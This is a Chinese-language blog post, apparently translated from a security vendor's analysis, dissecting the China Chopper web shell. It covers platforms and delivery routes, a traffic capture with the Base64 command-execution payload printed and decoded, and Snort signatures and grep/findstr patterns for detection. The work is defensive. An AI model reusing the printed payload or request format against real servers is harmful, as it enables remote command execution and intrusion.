【Web Shell】- 技术剖析中国菜刀 - Part II

第一部分,简单描述了中国菜刀的基本功能。本文我将剖析中国菜刀的平台多功能性、传输机制、交互模式和检测。我希望通过我的讲解,您能够根据您的环境检测出并清除它。

平台

那么中国菜刀可以在哪些平台上运行?答案是任何能够运行JSP、ASP、ASPX、PHP、CFM的Web服务器。这些是大多数Web应用程序语言。那么操作系统呢?中国菜刀足够灵活,可以在Windows和Linux上运行。这种操作系统和应用程序的灵活性使其成为一个更危险的Web shell。

在本系列的第一部分中,我们展示了使用ASPX在Windows 2003 IIS服务器上执行中国菜刀。现在我们将展示它在Linux上运行PHP。如图1所示,PHP版本的内容同样简约:

虽然可用选项因中国菜刀运行的平台而异,但Linux中的文件管理功能与Windows中的类似。如图:

 

下图显示的数据库客户端示例是MySQL而不是MS-SQL,但它提供了许多相同的功能。

 

虚拟终端看起来很熟悉,但是使用Linux命令而不是Windows,因为它们最终由底层操作系统解释。

 

传输机制

由于恶意软件的有效负载的大小,格式和简单性,中国菜刀的交付机制可以非常灵活。可以使用以下任何机制来传递这种基于文本的小型有效负载:

  • WebDAV文件上传
  • JBoss jmx-console或Apache Tomcat管理页面(有关此攻击向量的更多详细信息,请阅读FireEye顾问Tony Lee的解释
  • 远程利用文件丢弃
  • 来自其他访问的横向传播

 

流量分析

我们现在已经看到了服务器端有效负载和用于控制Web shell的客户端。现在让我们来看看中国菜刀的流量。幸运的是,我们有服务器和客户端组件,因此我们可以启动数据包捕获来查看典型流量的内容。如图所示,客户端使用HTTP POST方法通过TCP端口80启动连接

 

因为这是TCP流量,我们可以在Wireshark(一种在Unix和Windows中运行的流行的开源网络协议分析器)中“跟踪TCP”流在下图中,顶部的红色流量来自攻击者(Web客户端)。底部显示为蓝色的流量是目标(Web shell)的响应。我们可以看到大多数攻击者流量都是Base64编码的。

如上所述,大多数攻击者流量似乎是Base64编码的。但这不是问题,因为它可以很容易地解码。我们使用免费的Fiddler Web调试器的“TextWizard”功能来发现攻击者发送的内容。(注意:%3D是等号的URL编码表示(“=”).Fiddler需要将其转换为等号才能正确解码。)

原始传输数据:

Password=Response.Write("->|");

var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).

GetString(System. Convert.FromBase64String

("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5n

LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZX

N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0

ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2

U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0

SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZX

RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0

KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZS

hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write

("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6

XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

Fiddler Web调试器文本向导可以轻松地将原始流量从Base64转换为纯文本。如图:

解码之后的数据:

varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z1"])));

vare=newSystem.Diagnostics.Process();

varout:System.IO.StreamReader,EI:System.IO.StreamReader;

c.UseShellExecute=false;

c.RedirectStandardOutput=true;c.RedirectStandardError=true;

e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z2"]));

e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();

Response.Write(out.ReadToEnd()+EI.ReadToEnd());

最终我们有更好可读性。但是,我们的Base64解码数据现在正在尝试解码更多存储为z1和z2的Base64数据。回到我们的攻击者数据,在“密码”参数结束后,我们看到z1和z2参数。

我在以下输出中突出显示了Base64编码的参数z1和z2:

&z1 = Y21k&z2 = Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

Base64解码的参数z1和z2:

z1 = cmdz2 = cd / d“c:\ inetpub \ wwwroot \”&whoami&echo [S]&cd&echo [E]

这解释了客户端如何与shell通信。“Password”参数将代码传递给服务端。z1是cmd,z2包含通过cmd / c发送的命令提示符的参数所有输出都被回发给攻击者,它会对whoami  命令和当前工作目录创建以下响应

->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-

 

检测

既然我们了解了中国菜刀的内容及其流量,我们就可以专注于在网络和主机层面检测这种害虫的方法。

网络

使用标准的Snort IDS,可以相对轻松地捕获此流量。Keith Tyler在他早期的中国菜刀博客文章中提供了一个基本的IDS签名  

alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";

http_client_body;flow:to_server,established; content:"POST"; nocase;

http_method; ;msg:"Webshell Detected Apache";)

为了减少误报,我们通过查找“FromBase64String”和“z1”的内容来收紧Snort IDS签名以关注中国菜刀,如下所示:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 

(msg: "China Chopper with first Command Detected";

flow:to_server,established; content: "FromBase64String";

content: "z1"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000101;)

以下IDS签名查找“FromBase64String”的内容以及“z”后跟一到三位的任意组合 - 例如,它会找到“z1”,“z10”或“z100”。想法:如果第一个命令错过(z1),你仍然会捕获后续命令。

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 

(msg: "China Chopper with all Commands Detected"; flow:to_server,established;

content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000102;)

当考虑深度和偏移时,可以修改这两个IDS签名以进一步优化。在实现和测试签名以确保性能之前,请务必放入有效的SID。

现在我们已经讨论了网络级别的检测,我们将看到主机级别的检测也是可能的。由于shell必须包含可预测的语法,因此我们可以快速尝试查找具有该代码的文件。

 

主机

可以使用许多方法查找包含中国菜刀的文件。最快捷,最简单的方法,特别是在Linux机器上,可能使用正则表达式。如图所示,跨Web目录的快速egrep可以帮助识别受感染的文件。

egrep -re'[<] [?] php \ s \ @eval [(] \ $ _ POST \ [。+ \] [)]; [?] [>]'* .php

egrepregex  命令是一个强大的组合。虽然正则表达式可能看起来像胡言乱语,但它确实没有看起来那么糟糕。

Windows还提供了一种使用native findstr命令使用正则表达式搜索文件的方法

 

您可能已经注意到我们必须稍微更改正则表达式这是解决findtr解释正则表达式的一些方法所必需的您将运行的命令如下:

findstr / R“[<] [?] php。\ @ eval [(] \ $ _ POST。* [)]; [?] [>]”* .php

这些示例显示了PHP shell中的检测。要查找ASPX shell,只需修改正则表达式以适合ASPX shell的语法,如下所示:

egrep -re'[<] \%\ @ \ sPage \ sLanguage = .script。\%[>] [<] \%eval.Request \ .Item。+ unsafe'* .aspx
findstr / R“[<] \%\ @。Page.Language = .script。\%[>] [<] \%eval.Request \ .Item。* unsafe”* .aspx

如果您不确定Windows主机上的所有PHP或ASPX文件的位置,可以使用带有一些扩展选项dir命令来帮助您识别可能要运行我们的正则表达式的 Web文件(参见图)。

dir / S / A / B * .php

 

Findstr还有一个搜索所有子目录的选项(参见图13)。

findstr / R / S“[<] [?] php。\ @ eval [(] \ $ _ POST。* [)]; [?] [>]”* .php

 

结语

我希望通过这篇文章,能让大家对中国菜刀的功能、平台多功能性、交付机制、流量分析和检测能够有所了解。

posted @ 2019-02-27 16:07  wangwust  阅读(1173)  评论(0编辑  收藏  举报